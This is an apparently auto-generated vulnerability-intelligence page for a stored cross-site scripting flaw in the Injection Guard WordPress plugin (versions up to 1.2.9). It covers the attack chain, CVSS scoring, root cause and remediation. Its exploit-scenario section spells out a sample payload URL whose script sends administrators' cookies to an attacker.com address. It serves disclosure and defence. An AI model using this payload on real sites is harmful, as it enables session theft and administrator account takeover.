EUVD-2026-13918Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious query parameter with XSS payload
-
DeliveryPlugin captures unsanitized parameter name
-
ExploitStored in database without key sanitization
-
ExecutionAdmin views settings page
-
ImpactPayload executes in admin context
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires Injection Guard plugin for WordPress versions up to 1.2.9 to be installed and activated. Remote unauthenticated attacker crafts malicious URL with XSS payload in query parameter names. Victim must visit the crafted URL; the plugin stores the unsanitized parameter key, and any admin viewing plugin settings (ig_settings.php) triggers stored XSS execution. |
| Impact | The CVSS score of 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) indicates a high-severity vulnerability with network-based attack vector, low complexity, and no authentication required. The 'Changed' scope (S:C) reflects that XSS executes in the administrator's context rather than the unauthenticated attacker's, enabling privilege escalation. However, the exploit requires an administrator to view the log page, introducing a user interaction requirement not fully reflected in the UI:N metric. The technical details provided in the references include specific line numbers in the source code (guard.php lines 8, 94, 105, 153 and ig_settings.php lines 120, 121, 124), suggesting proof-of-concept development is straightforward. Real-world risk is moderate-to-high for installations where administrators regularly review logs, but lower for sites where the plugin's log interface is rarely accessed. The vulnerability is automatable as attackers can send malicious requests without authentication, but exploitation completion depends on administrator behavior. |
| Exploit ScenarioDerived | An unauthenticated attacker crafts a malicious URL with JavaScript payload embedded in a query parameter name, such as https://target-site.com/?<script>document.location='https://attacker.com/steal?c='+document.cookie</script>=value. When the WordPress site running Injection Guard receives this request, the plugin logs the malicious parameter name without proper sanitization. Later, when a site administrator accesses the Injection Guard log page to review security events, the stored JavaScript executes in their browser context, potentially stealing session cookies, creating rogue admin accounts, or installing backdoors. Proof-of-concept exploitation is straightforward given the detailed source code references provided in the vulnerability disclosure. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 20, 2026
The Injection Guard plugin for WordPress versions up to 1.2.9 contains a stored cross-site scripting (XSS) vulnerability that allows unauthenticated attackers to inject malicious JavaScript into the admin log interface. The flaw stems from insufficient sanitization of query parameter names, which are logged and later rendered without proper output escaping when administrators view the plugin's log page. This enables arbitrary script execution in the context of an authenticated administrator's browser session, potentially leading to account compromise or further malicious actions.
RemediationAI
WordPress site administrators should immediately upgrade the Injection Guard plugin to a patched version beyond 1.2.9 if available, checking the official WordPress plugin repository or the vendor's release notes. Until a patch is applied, administrators should consider temporarily disabling the Injection Guard plugin or restricting access to its admin log interface to only trusted administrators via WordPress role capabilities. As a defense-in-depth measure, implement Content Security Policy (CSP) headers to mitigate XSS impact by restricting script execution to trusted sources. Review existing log entries in the Injection Guard interface for suspicious query parameter names containing HTML/JavaScript syntax before an administrator inadvertently triggers stored payloads. Additional technical details and source code references are available at https://plugins.trac.wordpress.org/browser/injection-guard/ for security teams conducting impact assessment.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the Injection Guard WordPress plugin (CPE: cpe:2.3:a:fahadmahmood:injection_guard:*:*:*:*:*:*:*:*) and is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation). The plugin captures incoming requests via $_SERVER['QUERY_STRING'], applies esc_url_raw() which preserves URL-encoded special characters, then uses parse_str() to decode the query string into an array. The sanitize_ig_data() function only sanitizes array values but ignores array keys, allowing attackers to craft malicious query parameter names containing HTML or JavaScript. These unsanitized keys are stored via update_option('ig_requests_log') and later echoed directly in ig_settings.php (lines 120, 121, 124) without esc_html() or esc_attr() output escaping, resulting in stored XSS when administrators view the log interface.
Know when Injection Guard gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Injection Guard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via malicious query parameter names in all versions up to and including 1.2.9. This is due to insufficient input sanitization in the sanitize_ig_data() function which only sanitizes array values but not array keys, combined with missing output escaping in the ig_settings.php template where stored parameter keys are echoed directly into HTML. When a request is made to the site, the plugin captures the query string via $_SERVER['QUERY_STRING'], applies esc_url_raw() (which preserves URL-encoded special characters like %22, %3E, %3C), then passes it to parse_str() which URL-decodes the string, resulting in decoded HTML/JavaScript in the array keys. These keys are stored via update_option('ig_requests_log') and later rendered without esc_html() or esc_attr() on the admin log page. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in the admin log page that execute whenever an administrator views the Injection Guard log interface.
Executive ViewAI
A stored cross-site scripting vulnerability in the Injection Guard WordPress plugin (versions ≤1.2.9) allows unauthenticated attackers to inject malicious code that executes when administrators access the plugin's log interface. This could compromise administrator accounts and enable attackers to escalate privileges, modify site content, or steal sensitive data. Any organization using this plugin is at immediate risk.
Disable the Injection Guard plugin immediately. Implement Web Application Firewall (WAF) rules to block requests containing script injection patterns in query parameters. Restrict admin panel access to specific IP addresses or VPN. Enable enhanced logging and monitoring for administrator account activity. Consider network segmentation to limit lateral movement if admin credentials are compromised. Monitor vendor security advisories for patch availability.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
GitHub PoC
Exploit-DB